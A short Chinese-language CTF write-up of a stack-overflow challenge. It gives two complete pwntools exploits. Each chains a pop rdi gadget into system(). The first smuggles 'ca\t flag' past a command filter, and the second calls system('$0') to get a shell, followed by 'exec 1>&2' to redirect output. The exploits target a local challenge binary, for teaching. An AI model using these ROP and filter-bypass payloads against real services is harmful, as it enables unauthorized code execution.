查看保护
查看ida
这里有一次栈溢出,并且题目给了我们system函数。
这里的知识点没有那么复杂
方法一(命令转义):
完整exp:
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778
payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()
#补充点1:在第一种方法里,这里的\\是转义符,它所占的字节数并不是2个
payload=b"cat flag 1>&2"
payload=b"c\at flag 1>&2"
payload=b"c\\at flag 1>&2"
所以在这里\\只占一个字节的位置,刚好达到输入上限
方法二(利用system('$0')):
完整exp:
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778
payload=b"$0\x00"
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()
获得权限之后再输入exec 1>&2进行重定向就可以正常拿flag了